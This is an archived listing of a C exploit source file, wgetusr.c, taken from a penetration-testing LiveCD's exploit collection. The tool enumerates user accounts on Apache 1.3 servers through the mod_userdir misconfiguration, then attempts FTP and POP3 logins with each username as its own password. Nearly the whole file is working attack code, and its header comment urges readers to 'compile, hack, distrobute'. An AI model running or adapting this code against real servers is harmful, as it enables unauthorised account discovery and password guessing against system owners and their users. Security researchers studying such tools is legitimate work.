home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / getusr.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  457 lines

  1. /*-------------------------------------------------------------------
  2.  *
  3.  * Exploit: wgetusr.c Windows Version
  4.  * Author: HighT1mes (John Bissell)
  5.  * Date Released: July 21, 2004
  6.  *
  7.  * --- Code ported to Windows with some added code,
  8.  *     based on getusr.c exploit by CoKi ---
  9.  *
  10.  * Description from CoKi:
  11.  * ======================
  12.  *
  13.  * This tool tries to find users in a Apache 1.3.*
  14.  * server through wrong default configuration of
  15.  * module mod_userdir.
  16.  *
  17.  * My Believe:
  18.  * ===========
  19.  *
  20.  * I believe in the current state of the web right
  21.  * now this information leak bug can be pretty nasty.
  22.  * Once you have a couple login names on a system
  23.  * there are many services the attacker can target
  24.  * to attack and work his way into the target system
  25.  * to get local access.
  26.  *
  27.  * Program Usage:
  28.  * ==============
  29.  *
  30.  * Use: wgetusr [options] -h <host> -u <usrfile>
  31.  *          -h     Host
  32.  *          -u     Users file
  33.  *         Options
  34.  *          -f     Try log on via FTP
  35.  *          -p     Try log on via POP3
  36.  *
  37.  * VC++ 6.0 Compilation Information:
  38.  * =================================
  39.  *
  40.  * First go on the net and get the getopt libs and header
  41.  * file for VC++ 6.0 Here's a link...
  42.  *
  43.  * http://prantl.host.sk/getopt/files/getopt-msvs6.zip
  44.  *
  45.  * Now extract the libs into your standerd VC++ Lib directory,
  46.  * and extract the getopt.h header file of course into the
  47.  * Include directory.
  48.  *
  49.  * Now to compile make a new console app project,
  50.  * then put this source file in the project.
  51.  * Next goto Project->Settings. Then click on
  52.  * the link tab then goto the input catagory.
  53.  * Now add getopt.lib to the end of objects/librarys
  54.  * modules text box. Then in the Ignore Librarys
  55.  * text box type LIBCD.lib to ignore that lib and allow
  56.  * compilation to complete because of getopt lib.
  57.  *
  58.  * Also you where you added getopt.lib to the
  59.  * objects/librarys modules text box put ws2_32.lib
  60.  * in that text box as well.
  61.  *
  62.  * Your all set compile, hack, distrobute, have fun! :)
  63.  *
  64. *-------------------------------------------------------------------*/
  65.  
  66. #include <getopt.h>
  67. #include <stdio.h>
  68. #include <stdlib.h>
  69. #include <errno.h>
  70. #include <string.h>
  71. #include <windows.h>
  72.  
  73. #define DATAMAX 50
  74. #define BUFFER 1000
  75. #define TCPIP_ERROR -1
  76. #define TIMEOUT 3
  77. #define HTTP_PORT 80
  78. #define FTP_PORT 21
  79. #define POP3_PORT 110
  80.  
  81. void use(char *program);
  82. int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout);
  83. void vrfy_apache(char *host);
  84. void vrfy_vuln(char *host);
  85. int test_user(char *host, char *user);
  86. int trylogonFTP(char *host, char *user, char *pass);
  87. int mkconn(char *host, unsigned short port);
  88. int trylogonPOP3(char *host, char *user, char *pass);
  89.  
  90. struct hostent *he;
  91. char **fuser;
  92. int sockfd;
  93. struct sockaddr_in dest_dir;
  94.  
  95. int main(int argc, char *argv[]) {
  96.  
  97.   FILE *userlist;
  98.   char c, *host=NULL, *ulist=NULL;
  99.   char user[DATAMAX];
  100.   int ucant=0, flogged=0, plogged=0, optftp=0, optpop=0, stop=0;
  101.   unsigned int cant=0, i, user_num;
  102.   WSADATA wsaData;
  103.   int result=0;
  104.  
  105.   printf(" =================================\n");
  106.   printf("   wgetusr exploit by HighT1mes\n");
  107.   printf("  Based on getusr.c code by CoKi\n");
  108.   printf(" =================================\n\n");
  109.   Sleep(1000);
  110.  
  111.   if(argc < 2) use(argv[0]);
  112.  
  113.   result = WSAStartup( MAKEWORD( 2,2 ), &wsaData );
  114.         if ( result != NO_ERROR ) {
  115.                 printf( "Error at WSAStartup()\n" );
  116.                 return( EXIT_FAILURE );
  117.         }
  118.  
  119.   while((c = getopt(argc, argv, "h:u:fp")) != EOF) {
  120.     switch(c) {
  121.       case 'h':
  122.                host = optarg;
  123.                break;
  124.       case 'u':
  125.                ulist = optarg;
  126.                break;
  127.       case 'f':
  128.                optftp = 1;
  129.                break;
  130.       case 'p':
  131.                optpop = 1;
  132.                break;
  133.       default :
  134.                use(argv[0]);
  135.                break;
  136.     }
  137.   }
  138.  
  139.   if(host == NULL) use(argv[0]);
  140.   if(ulist == NULL) use(argv[0]);
  141.  
  142.   printf(" [+] verifying list:\t");
  143.  
  144.   if((userlist = fopen(ulist, "r")) == NULL) {
  145.     printf("Failed\n\n");
  146.     exit(1);
  147.   }
  148.  
  149.   while(!feof(userlist)) if('\n' == fgetc(userlist)) ucant++;
  150.   rewind(userlist);
  151.  
  152.   printf("OK (%d users)\n", ucant);
  153.   Sleep(1000);
  154.   fuser = (char **)malloc(sizeof(ucant));
  155.  
  156.   printf(" [+] verifying host:\t");
  157.  
  158.   if((he=gethostbyname(host)) == NULL) {
  159.     perror("Error: ");
  160.         Sleep(1000);
  161.     printf("\n");
  162.     exit(1);
  163.   }
  164.  
  165.   printf("OK\n");
  166.   Sleep(1000);
  167.  
  168.   printf(" [+] connecting:\t");
  169.  
  170.   if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) {
  171.     printf("Closed\n\n");
  172.         Sleep(1000);
  173.     exit(1);
  174.   }
  175.  
  176.   printf("OK\n");
  177.   Sleep(1000);
  178.   closesocket(sockfd);
  179.  
  180.   vrfy_apache(host);
  181.   Sleep(1000);
  182.  
  183.   vrfy_vuln(host);
  184.   Sleep(1000);
  185.  
  186.   user_num = 1;
  187.   while(!feof(userlist)) {
  188.     if(fgets(user, sizeof(user), userlist) == NULL) break;
  189.     user[strlen(user)-1] = '\0';
  190.  
  191.     if(test_user(host, user) == 0) {
  192.       fuser[cant] = (char *)malloc(sizeof(user));
  193.       memcpy(fuser[cant],user,strlen(user));
  194.       memset(fuser[cant]+strlen(user),0,1);
  195.       cant++;
  196.     }
  197.  
  198.         system("CLS");
  199.         printf(" wgetusr exploit by HighT1mes\n\n");
  200.         printf(" [+] searching for system accounts, please wait...\n");
  201.         printf(" [+] processing user #%d\n", user_num);
  202.         user_num++;
  203.   }
  204.  
  205.   if(cant == 0) {
  206.     printf("     no users found\n\n");
  207.     exit(1);
  208.   }
  209.   else {
  210.         /* print out valid usernames found */
  211.         printf(" [+] scan results for %s:\n\n", host);
  212.         for (i = 0; i < cant; i++) {
  213.                 printf("     found username: %s\n", fuser[i]);
  214.         }
  215.   }
  216.  
  217.   printf("\n");
  218.  
  219.   if(optftp == 1) {
  220.     stop = 0;
  221.     printf(" [+] trying log on via FTP...\n");
  222.     printf(" [+] connecting:\t");
  223.  
  224.  
  225.     if(mkconn(host, FTP_PORT) == TCPIP_ERROR) {
  226.       printf("Closed\n");
  227.       stop = 1;
  228.     }
  229.  
  230.     if(!stop) {
  231.       printf("OK\n");
  232.       closesocket(sockfd);
  233.       for(i=0; i < cant; i++) {
  234.         if(trylogonFTP(host, fuser[i], fuser[i]) == 0) {
  235.           printf("     logged in: %s\n", fuser[i]);
  236.           flogged++;
  237.         }
  238.       }
  239.       if(flogged == 0) printf("     no users logged in\n");
  240.     }
  241.   }
  242.  
  243.   if(optpop == 1) {
  244.     stop = 0;
  245.     printf(" [+] trying log on via POP3...\n");
  246.     printf(" [+] connecting:\t");
  247.     (stdout);
  248.  
  249.     if(mkconn(host, POP3_PORT) == TCPIP_ERROR) {
  250.       printf("Closed\n");
  251.       stop = 1;
  252.     }
  253.  
  254.     if(!stop) {
  255.       printf("OK\n");
  256.       closesocket(sockfd);
  257.       for(i=0; i < cant; i++) {
  258.         if(trylogonPOP3(host, fuser[i], fuser[i]) == 0) {
  259.           printf("     logged in: %s\n", fuser[i]);
  260.           plogged++;
  261.         }
  262.       }
  263.       if(plogged == 0)  printf("     no users logged in\n");
  264.     }
  265.   }
  266.  
  267.   printf("\n");
  268.   fclose(userlist);
  269.   WSACleanup();
  270.   return 0;
  271. }
  272.  
  273. void use(char *program) {
  274.   printf("Use: %s [options] -h <host> -u <usrfile>\n", program);
  275.   printf("         -h\tHost\n");
  276.   printf("         -u\tUsers file\n");
  277.   printf("        Options\n");
  278.   printf("         -f\tTry log on via FTP\n");
  279.   printf("         -p\tTry log on via POP3\n");
  280.   exit(1);
  281. }
  282.  
  283. int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout)
  284. {
  285.   int res, slen, flags;
  286.   struct timeval tv;
  287.   struct sockaddr_in addr;
  288.   fd_set rdf, wrf;
  289.   int iMode = 0;
  290.  
  291.   ioctlsocket(sfd, FIONBIO, &iMode);
  292.  
  293.   res = connect(sfd, serv_addr, sizeof(struct sockaddr));
  294.  
  295.   if (res >= 0) return res;
  296.  
  297.   FD_ZERO(&rdf);
  298.   FD_ZERO(&wrf);
  299.  
  300.   FD_SET(sfd, &rdf);
  301.   FD_SET(sfd, &wrf);
  302.   memset(&tv, 0, sizeof(tv));
  303.   tv.tv_sec = timeout;
  304.  
  305.   if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
  306.     return -1;
  307.  
  308.   if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
  309.     slen = sizeof(addr);
  310.     if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
  311.     return -1;
  312.  
  313.     flags = ioctlsocket(sfd, FIONBIO, NULL);
  314.         iMode = flags & ~iMode;
  315.     ioctlsocket(sfd, FIONBIO, &iMode);
  316.  
  317.     return 0;
  318.   }
  319.  
  320.   return -1;
  321. }
  322.  
  323. void vrfy_apache(char *host) {
  324.   char buf[BUFFER], sendstr[DATAMAX];
  325.  
  326.   printf(" [+] verifying Apache:\t");
  327.  
  328.   if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");
  329.  
  330.   sprintf(sendstr, "HEAD / HTTP/1.0\n\n");
  331.   send(sockfd, sendstr, sizeof(sendstr), 0);
  332.   memset(buf, 0, sizeof(buf));
  333.   recv(sockfd, buf, sizeof(buf), 0);
  334.  
  335.   if(strstr(buf, "Server: Apache")) printf("OK\n");
  336.   else {
  337.     printf("NO\n\n");
  338.     exit(1);
  339.   }
  340.  
  341.   closesocket(sockfd);
  342. }
  343.  
  344. void vrfy_vuln(char *host) {
  345.   char buf[BUFFER], sendstr[DATAMAX];
  346.  
  347.   printf(" [+] vulnerable:\t");
  348.  
  349.   if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");
  350.  
  351.   memset(sendstr, 0, sizeof(sendstr));
  352.   sprintf(sendstr, "GET /~root\n");
  353.   send(sockfd, sendstr, sizeof(sendstr), 0);
  354.  
  355.   recv(sockfd, buf, sizeof(buf), 0);
  356.  
  357.   if(strstr(buf, "403")) printf("OK\n");
  358.   else {
  359.     printf("NO\n\n");
  360.     exit(1);
  361.   }
  362.  
  363.   closesocket(sockfd);
  364. }
  365.  
  366. int test_user(char *host, char *user) {
  367.   char buf[BUFFER], sendstr[DATAMAX];
  368.  
  369.   if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("     Closed\n");
  370.  
  371.   memset(sendstr, 0, sizeof(sendstr));
  372.   sprintf(sendstr, "GET /~%s\n", user);
  373.   send(sockfd, sendstr, sizeof(sendstr), 0);
  374.  
  375.   recv(sockfd, buf, sizeof(buf), 0);
  376.  
  377.   if(strstr(buf, "403")) return 0;
  378.   else return 1;
  379.  
  380.   closesocket(sockfd);
  381. }
  382.  
  383. int trylogonFTP(char *host, char *user, char *pass) {
  384.   char buf[BUFFER], *senduser, *sendpass;
  385.  
  386.   senduser = malloc(sizeof(user+6));
  387.   sendpass = malloc(sizeof(pass+6));
  388.  
  389.   sprintf(senduser,"USER %s\n",user);
  390.   sprintf(sendpass,"PASS %s\n",pass);
  391.  
  392.   if(mkconn(host, FTP_PORT) == TCPIP_ERROR) printf("     Closed\n");
  393.  
  394.   memset(buf,0,sizeof(buf));
  395.   recv(sockfd,buf,sizeof(buf),0);
  396.   send(sockfd,senduser,strlen(senduser), 0);
  397.   memset(buf,0,sizeof(buf));
  398.   recv(sockfd,buf,sizeof(buf),0);
  399.   send(sockfd,sendpass,strlen(sendpass), 0);
  400.   memset(buf,0,sizeof(buf));
  401.   recv(sockfd,buf,sizeof(buf),0);
  402.  
  403.   if(strstr(buf, "230")) return 0;
  404.   else return 1;
  405.  
  406.   closesocket(sockfd);
  407. }
  408.  
  409. int mkconn(char *host, unsigned short port) {
  410.  
  411.   if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == TCPIP_ERROR) {
  412.     perror("Error");
  413.     printf("\n");
  414.     exit(1);
  415.   }
  416.  
  417.   dest_dir.sin_family = AF_INET;
  418.   dest_dir.sin_port = htons(port);
  419.   dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  420.   memset(&(dest_dir.sin_zero), 0, 8);
  421.  
  422.   if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, TIMEOUT) == TCPIP_ERROR) {
  423.     return TCPIP_ERROR;
  424.   }
  425.  
  426.   return 0;
  427. }
  428.  
  429. int trylogonPOP3(char *host, char *user, char *pass) {
  430.   char buf[BUFFER], *senduser, *sendpass;
  431.  
  432.   senduser = malloc(sizeof(user+6));
  433.   sendpass = malloc(sizeof(pass+6));
  434.  
  435.   sprintf(senduser,"USER %s\n",user);
  436.   sprintf(sendpass,"PASS %s\n",pass);
  437.  
  438.   if(mkconn(host, POP3_PORT) == TCPIP_ERROR) printf("     Closed\n");
  439.  
  440.   memset(buf,0,sizeof(buf));
  441.   recv(sockfd,buf,sizeof(buf),0);
  442.   send(sockfd,senduser,strlen(senduser), 0);
  443.   memset(buf,0,sizeof(buf));
  444.   recv(sockfd,buf,sizeof(buf),0);
  445.   send(sockfd,sendpass,strlen(sendpass), 0);
  446.   memset(buf,0,sizeof(buf));
  447.   recv(sockfd,buf,sizeof(buf),0);
  448.  
  449.   if(strstr(buf, "+OK")) return 0;
  450.   else return 1;
  451.  
  452.   closesocket(sockfd);
  453. }
  454.  
  455. /* EOF */
  456.  
  457.